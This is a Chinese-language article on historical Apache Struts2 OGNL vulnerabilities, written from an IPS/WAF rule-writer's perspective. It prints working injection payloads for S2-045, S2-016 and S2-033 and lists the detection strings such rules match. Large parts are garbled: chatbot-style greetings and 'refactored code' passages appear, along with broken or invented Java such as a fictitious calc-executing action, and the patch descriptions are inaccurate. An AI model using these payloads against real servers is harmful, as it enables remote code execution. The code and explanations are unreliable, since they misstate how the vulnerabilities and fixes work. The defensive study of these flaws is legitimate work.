一、前言
Struts2漏洞是一个经典的漏洞系列,根源在于struts2引入了ognl表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。网上的分析文章主要从攻击利用的角度来分析这些Struts2漏洞。作为新华三攻防团队,我们的一部分工作是维护ips产品的规则库,今天回顾一下这个系列的漏洞,给大家分享一些防护者的思路,如果有遗漏或者错误,欢迎各位大佬指正。
二、Struts2历史漏洞
研究Struts2的历史漏洞,一部分原因为了review以前的ips、waf的防护规则。开发规则的时候,我们认为有几个原则:
1、站在攻击者的角度思考;2、理解漏洞或者攻击工具的原理;3、定义漏洞或者攻击工具的检测规则时,思考误报、漏报的情况。
如果安全设备不会自动封ip,那么防护规则是有可能被慢慢试出来的。如果规则只考虑了公开的poc规则写得太过严格,是可能被绕过的,所以有了这次review。先来看看Struts2的历史漏洞的原理。
2.1 判断网站使用Struts2框架
一般攻击者在攻击之前会判断网站是Struts2编写,主要看有没有链接是.action或者.do结尾的,这是因为配置文件struts.xml指定了action的后缀
```
但是上述这个配置文件解析之后,不带后缀的uri也会被解析称为action的名字。如下:
如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的。
如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json
```xml
```
根据后缀不同,Rest插件使用不同的处理流程。对于请求JSON格式的数据,框架会使用JsonLibHandler类对输出进行处理。而对于以xhtml和xml结尾的请求,则分别使用HtmlHandler和XStreamHandler进行处理。因此,在无法明确判断网站是否使用的是Struts2框架时(特别是遇到这两种情况),可以尝试使用工具进行测试。
2.2 Struts2执行代码的原理
Struts2的动态性在于Ongnl表达式可以获取到运行变量的值,并有机会执行函数调用。如果恶意请求参数被送到Ongnl执行流程中,就可能导致任意代码执行漏洞。Ongnl表达式的执行位于与Ognl相关的几个类中。配置好调试环境后,可以在OgnlUtil类的getValue或compileAndExecute函数下设置断点,根据参数判断POC调用的流程,从而分析执行原理。
2.2.1 S2-045、S2-046
以S2-045为例,查看Web工程目录下的payload:
```java
// 设置内容类型为multipart/form-dataString contentType = "%{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))}.(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath('/'))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())";
// 断点拦截情况
// 根据堆栈查看信息
```
根据提供的堆栈信息,我们可以定位到漏洞原因并查看相关代码。在Dispatcher函数中,如果content-typ字段包含了multipart/form-data字符串,就会把请求封装成MultiPartRequestWrapper。这导致了JakartaMultiPartRequest类的流程被触发,从而引发漏洞。
为了修复这个漏洞,我们需要修改Dispatcher函数中的逻辑,确保只有在content-typ字段不包含multipart/form-data字符串时,才将请求封装成MultiPartRequestWrapper。具体修改方法可能因项目代码结构而异,但大致思路是找到Dispatcher函数的相关部分,然后在其中添加适当的条件判断来实现这一目的。
首先,我们可以将代码分成几个部分来处理。
1. 如果`content_type`不为空且包含`"multipart/form-data"`,则创建一个`MultiPartRequestWrapper`实例。
2. 否则,创建一个`StrutsRequestWrapper`实例。
3. 尝试解析请求并保存文件。
4. 如果出现错误,调用`buildErrorMessage`函数构造报错信息。
下面是重构后的代码:
```java
if (content_type != null && content_type.contains("multipart/form-data")) {
MultiPartRequest mpr = getMultiPartRequest();
LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}
try {
multi.parse(request, saveDir);
for (String error : multi.getErrors()) {
addError(error);
}
} catch (IOException e) {
if (LOG.isWarnEnabled()) {
LOG.warn(e.getMessage(), e);
}
addError(buildErrorMessage(e, new Object[]{e.getMessage()}));
}
```
后续调用过程是buildErrorMessage -> LocalizedTextUtil.findText -> TextParseUtil.translateVariables -> OgnlUtil.getValue。补丁修改是将buildErrorMessage中的LocalizedTextUtil.findText函数移除,这样在报错后提交的输入就无法到达ognl模块。S2-046同样使用了045相同的模块,这两个漏洞都是在2017年上半年出现的。它们利用的是框架本身的弱点,限制条件较少,因此被认为是较为实用的Struts2漏洞(尽管成功率也很低)。目前,网络上有许多自动化扫描器或蠕虫都自带045和046,而IPS设备每天也会收到大量这类日志。
2.2.2 S2-001
往前看,有代表性的好用漏洞包括S2-001(S2-003、005、008年代较久远,后来出现了更好用的新型漏洞,因此这些漏洞使用的人较少,相应的Struts2版本也较低)。S2-001是Struts2框架最初出现的第一个漏洞,与045的执行过程相似,都是通过TextParseUtil.translateVariables执行OGNL表达式。TextParseUtil是一个文本处理功能类。不同的是,S2-001在将jsp转换为java类时,会对表单提交的参数调用evaluateParams方法,从而调用文本处理类的OGNL求值功能。调用堆栈如下:
重构后的内容如下:
1. translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util)findValue:303, Component (org.apache.struts2.components)evaluateParams:680, UIBean (org.apache.struts2.components)end:450, UIBean (org.apache.struts2.components)doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f0:17, quiz_002dbasic_jsp (org.apache.jsp.validation)。
2. 提交就能触发漏洞。
3. S2-016是比较好用的漏洞,由于年代太过久远了,现在已经几乎不可能利用成功,但是这个漏洞由于太经典,还是值得看看。获取路径的Payload是:%25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%。
```
<%@ taglib prefix="s" uri="/struts-tags" %>
```
在Struts2框架下,如果mapping能直接获得结果,就调用结果对象的execute函数。这里的代码注释意为,在Uri标签中使用redirect标签,对应的是ServletRedirectResult这个结果,构造函数如下,是DefaultActionMapper构造的时候顺带构造好的。
在以下代码中,我将`DefaultActionMapper`类重构为以下内容:
```java
public class DefaultActionMapper {
private PrefixTrie
@Override
public void put(String prefix, ParameterAction action) {
if (prefix.equals(METHOD_PREFIX)) {
action.execute("", mapping);
} else if (prefix.equals(ACTION_PREFIX)) {
action.execute("", mapping);
} else {
throw new IllegalArgumentException("Invalid prefix");
}
}
};
static final String METHOD_PREFIX = "method";
static final String ACTION_PREFIX = "action";
public void setAllowDynamicMethodCalls(boolean allow) {
// Set the flag to allow dynamic method calls or not.
}
public void registerCustomMethodMapping(String methodName, String beanName, Method method) {
// Register a custom method mapping with the given name, bean name, and method.
}
}
```
重构后的代码将`PrefixTrie`的实现放在了默认构造函数中,并使用泛型参数`
在解析URI时,ServletRedirectResult结果会被设置到mapping对象中。调用栈如下:
1. execute:214, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)
2. handleSpecialParameters:361, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)
3. getMapping:317, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)
4. findActionMapping:161, PrepareOperations (org.apache.struts2.dispatcher.ng)
5. findActionMapping:147, PrepareOperations (org.apache.struts2.dispatcher.ng)
6. doFilter:89, StrutsPrepareFilter (org.apache.struts2.dispatcher.ng.filter)
在后续的ServletRedirectResult的execute函数执行后,会通过conditionalParse调用文本处理类TextParseUtil的translateVariables函数进入Ognl的流程,代码得到执行。
S2-032是框架本身的漏洞,但需要开启动态方法执行的配置(
这段代码是一个URL,它包含了一个特殊的URI标签和一个请求方法。这个URL的目的是通过执行一个命令(在这里是`ipconfig`)来获取网络接口信息。然后,它将结果输出到页面上。
这段代码中存在一个漏洞,与S2-016类似。漏洞点在于`DefaultActionMapper`类的构造函数中。当配置了`DynamicMethodInvocation`后,在构造mapping时,会满足if语句,设置method属性为冒号后的OGNL表达式。这可能导致恶意用户通过构造特殊的URI来执行任意命令。
为了修复这个漏洞,可以对`DefaultActionMapper`类的构造函数进行修改,确保不会解析包含特殊标签的URI。同时,可以考虑使用更安全的方法来处理用户输入,以防止恶意用户利用这个漏洞。
以下是重构后的内容:
```java
public DefaultActionMapper() {
prefixTrie = new PrefixTrie() {
{
put(METHOD_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
if (allowDynamicMethodCalls) {
mapping.setMethod(key.substring(METHOD_PREFIX.length()));
}
}
});
}
}
}
```
在调用完Struts2默认的拦截器后,进入DefaultActionInvocation的调用函数invokeAction,后者直接调用Ognl表达式的执行。S2-032和S2-037也是通过这个步骤得到执行的,不同的是这两漏洞是基于rest插件的。rest插件使得struts2框架的请求具备restful风格,参数直接放在uri里面提交,而非问号后面的字符串。如下为正常的请求:
```plaintext
http://localhost:8080/s2033/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=vulnerable
```
以下是重构后的内容:
S2-037和S2-032漏洞与Struts2.3.28.1版本有关,这两个漏洞都是利用OGNL表达式执行恶意命令的漏洞。由于这些漏洞依赖于REST插件且年代久远,因此需要非常幸运才能利用。
S2-052漏洞与传统的Struts2漏洞不同,它不是利用OGNL表达式执行代码,而是使用unmarshal漏洞执行代码。这个漏洞同样需要使用REST插件,并且对JDK版本有要求,要求大于等于1.8。在JDK 1.7环境下测试时会报错,但在JDK 1.8环境下可以正常执行命令。由于这个漏洞不是利用OGNL表达式执行的,因此防护思路与Struts2的常规防护有所不同,后续可以与其他WebLogic系列漏洞合并分析。
S2-057漏洞的代码执行有两个条件:
1. 需要开启alwaysSelectFullNamespace配置为true。通常在提取请求中的URI时,会对比配置文件中的namespace,匹配上了选取最长的一段作为此次请求的namespace。但是如果这个参数设置为true,就不做对比,直接提取action前面的所有字符串作为namespace。
```java
protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) {
int lastSlash = uri.lastIndexOf('/');
String namespace;
String name;
if (lastSlash == -1) {
namespace = "";
name = uri;
} else if (lastSlash == 0) {
namespace = "/";
name = uri.substring(lastSlash + 1);
} else if (this.alwaysSelectFullNamespace) {
namespace = uri.substring(0, lastSlash);
name = uri.substring(lastSlash + 1);
} else {
namespace = uri.substring(0, lastSlash);
name = uri.substring(lastSlash + 1);
}
}
```
以下是重构后的代码:
```java
/**
* 获取/s2057/计算器的执行结果并进行ActionChaining操作
*/
public ActionForward executeCalcAction() throws Exception {
// 创建ActionContext对象,用于操作struts.valueStack中的上下文信息
ActionContext ctx = getContext();
// 将需要排除的类和包名添加到container中
OgnlUtil ognlUtil = new OgnlUtil();
ognlUtil.setExcludedClasses("java.lang.Shutdown");
ognlUtil.setExcludedPackageNames("sun.reflect.");
ognlUtil.setDefaultMemberAccess(OgnlContext.DEFAULT_MEMBER_ACCESS);
// 将设置好的OgnlUtil对象保存到context中
ctx.getValueStack().get("com.opensymphony.xwork2.ActionContext.container").put("com.opensymphony.xwork2.ognl.OgnlUtil", ognlUtil);
// 执行calc命令,获取计算器的结果
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec("calc");
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String result = reader.readLine(); // read first line of the output which contains the result
// 在返回结果时使用ActionChaining操作,包括redirectAction、chain、postback等方法
RedirectAction redirectAction = new ActionRedirectResult("result.jsp?result=" + result, false); // redirect to "result.jsp" with result in query string
RedirectToAction redirectToAction = new ActionRedirectToAction("/action/calcAction"); // redirect to another action
PostbackAction postbackAction = new PostbackAction(PostbackActionImpl.TYPE_SUCCESS); // perform postback action with success type
chain(new ActionChainResult().addForward("redirect", redirectAction)).addForward("redirectTo", redirectToAction).addForward("postback", postbackAction); // create and add ActionChainResult objects for each forward and chain them together
return null; // no view name is set, hence returning null to indicate that the request should be handled by an action class (e.g., this class) instead of a specific view
}
```
```xml
register2
register2
```
在处理result结果的时候,会把namespace送到ognl引擎执行。例如redirectAction(ServletActionRedirectResult类)的情况,分发器dispatcher会根据action的结果,把流程传给ServletActionRedirectResult的execute函数,后者通过setLocation设置302跳转的目的地址到自己的location变量(包含了ognl恶意代码的namespace)。
以下是重构后的代码:
```java
public void execute(ActionInvocation invocation) throws Exception {
this.actionName = this.conditionalParse(this.actionName, invocation);
if (this.namespace == null) {
this.namespace = invocation.getProxy().getNamespace();
} else {
this.namespace = this.conditionalParse(this.namespace, invocation);
}
if (this.method == null) {
this.method = "";
} else {
this.method = this.conditionalParse(this.method, invocation);
}
String tmpLocation = this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)null));
this.setLocation(tmpLocation);
super.execute(invocation);
}
```
您好!Struts2是一种基于Java的MVC框架,它的沙盒机制是为了防止恶意代码执行而设计的。在Struts2中,OGNL表达式是沙箱中的可执行代码,因此需要进行严格的安全控制。但是,有一些漏洞可以绕过Struts2的沙箱机制,从而允许攻击者执行任意代码。例如,CVE-2019-0230和CVE-2020-17530都是针对Struts2的沙箱漏洞进行的攻击。
Struts2漏洞的每一轮更新都涉及到新的Ognl代码执行点和对沙盒防护的绕过。这些补丁的主要目的是修复Ognl的执行点,并进一步加强沙盒防护。为了实现这一目标,补丁主要通过修改struts-default.xml文件来限制Ognl可以访问的类和包,以及调整各种bean函数的访问控制符。
在最新版本的Struts2.5.20中,struts-default.xml文件对java.lang.Class、java.lang.ClassLoader和java.lang.ProcessBuilder这几个类进行了访问限制。这使得在利用漏洞时,无法通过构造函数、进程创建函数或类加载器等方式执行代码。此外,该文件还限制了com.opensymphony.xwork2.ognl包的访问,从而阻止了在利用漏洞时访问和修改_member_access和context等变量。
总之,Struts2漏洞的每一轮更新都针对新的Ognl代码执行点和沙盒防护绕过进行了修复。通过限制Ognl可以访问的类和包,以及调整bean函数的访问控制符,补丁有效地加强了Struts2的安全防护。
这段XML配置中定义了几个Struts的配置项。具体来说,这些项包括以下内容:
1. `struts.excludedClasses`:这个值是一个包含多个类名的字符串,这些类不会被Struts处理。这些类包括`java.lang.Object`,`java.lang.Runtime`,`java.lang.System`,`java.lang.Class`,`java.lang.ClassLoader`,`java.lang.Shutdown`,`java.lang.ProcessBuilder`,以及`com.opensymphony.xwork2.ActionContext`。这个值必须是一个有效的正则表达式,而且包名中的每个'.'都需要转义。
2. `struts.excludedPackageNamePatterns`:这个值也是一个包含多个字符串的列表,这些字符串都是正则表达式,用来匹配包名。与`struts.excludedClasses`不同的是,这个配置项允许使用正则表达式进行更复杂的匹配操作。这个值目前设定为`^java.lang..*,^ognl.*,^(?!javax.servlet..+)(javax..+)`。
3. `struts.excludedPackageNames`:这个值是一个包含多个包名的字符串列表。与上面两个配置项类似,这个列表也是通过正则表达式的匹配来工作的。当前的配置设定为:`ognl., javax., freemarker.core., freemarker.template., freemarker.ext.rhino., sun.reflect., javassist., org.objectweb.asm., com.opensymphony.xwork2.ognl., com.opensymphony.xwork2.security., com.opensymphony.xwork2.util.`。
以上就是这段XML配置的具体内容和含义。
您好,Struts2是一种Java Web应用程序框架,它可以帮助开发人员快速构建Web应用程序。在调试时,可以对SecurityMemberAccess的isAccessible函数下断点观察ognl的沙盒防护情况。
关于网络侧Struts2的防护思路,一般的ips、waf规则,可以从两个方向进行检测,一个是检测漏洞发生点,另外一个是检测利用的攻击代码。 Struts2有一些老的漏洞,很多是url中或者post表单中提交ognl代码,从漏洞点来看并不是太好做检测,所以一般的检测规则都会比较严格。
一般的IPS和WAF规则可以从两个方向进行检测:一是检测漏洞发生点,另一个是检测利用的攻击代码。对于Struts2存在的一些老旧漏洞,由于它们往往存在于URL中或POST表单提交的OGNL代码中,从漏洞点的角度来看,这些漏洞并不容易被检测到。因此,通常的检测规则是检查OGNL代码,并结合漏洞发生点。
在分析payload时,我们可以关注技术性较强的OGNL代码,尤其是045和057这两个payload。以045的payload为例,其内容如下:
```
content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```
这段代码主要执行了以下操作:
1. 获取当前请求的上下文信息。
2. 清空已排除的包名和类名。
3. 设置成员访问权限为默认值。
4. 获取请求的根路径。
5. 将输入流复制到响应的输出流。
6. 刷新输出流。
通过分析这类OGNL代码,我们可以更好地理解和检测潜在的安全威胁。
gnlContext的_memberAccess变量对类、包和方法的使用进行了访问控制限制。在0.45之前的补丁中,禁止了对_memberAccess的访问。以下是一个典型的ognl payload示例:
```java
// 通过ActionContext对象获取Container
#container = #context['com.opensymphony.xwork2.ActionContext.container']
#ognlUtil = #container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
// 清空禁止访问的类和包
#ognlUtil.getExcludedPackageNames().clear()
#ognlUtil.getExcludedClasses().clear()
// 输出流获取和函数调用等常规操作
```
在这个示例中,我们可以通过检测ips或waf的Struts2规则来识别沙盒绕过使用的对象和方法,如_memberaccess、getExcludedPackageNames、getExcludedClasses、DEFAULT_MEMBER_ACCESS等。防护规则也可以检测函数调用,如ServletActionContext@getResponse(获取应答对象)、java.lang.ProcessBuilder(进程构建,执行命令)、java.lang.Runtime(运行时类建,执行命令)、java.io.FileOutputStream(文件输出流,写shell)、getParameter(获取参数)、org.apache.commons.io.IOUtils(IO函数)等。
然而,有一些检测点可能不太理想,例如com.opensymphony.xwork2.ActionContext.container这种字典的key或者包的全名,因为字符串是可以拼接和变形的,这种规则很容易被绕过。为了避免这种情况,建议规则提取的字符串尽量短一些,以减少变形绕过的可能性。
在测试过程中,我们发现部分WAF产品仅对"DEFAULT_MEMBER_ACCESS"和"_memberaccess"这两个字符串进行检测。虽然这种做法看起来较为粗暴,存在误报风险,但其检测效果仍然相当不错。然而,由于Ognl表达式的灵活性,确实存在一些变形逃逸的情况。特别是针对S2-016之后的漏洞,想要绕过沙盒防御,很难避开这两个对象及相关函数调用。
要绕过这些限制,可以参考ognl.jjt文件。这个文件定义了Ognl表达式的词法和语法结构,而与Ognl相关的解析代码也是基于这个文件生成的。因此,一般情况下的绕过攻击也可以基于此文件展开。通过分析ognl.jjt文件的内容,可以找到潜在的漏洞点并制定相应的绕过策略。总之,尽管这种WAF产品在某些方面存在局限性,但通过研究ognl.jjt文件,我们仍然可以在一定程度上提高对潜在威胁的检测和防护能力。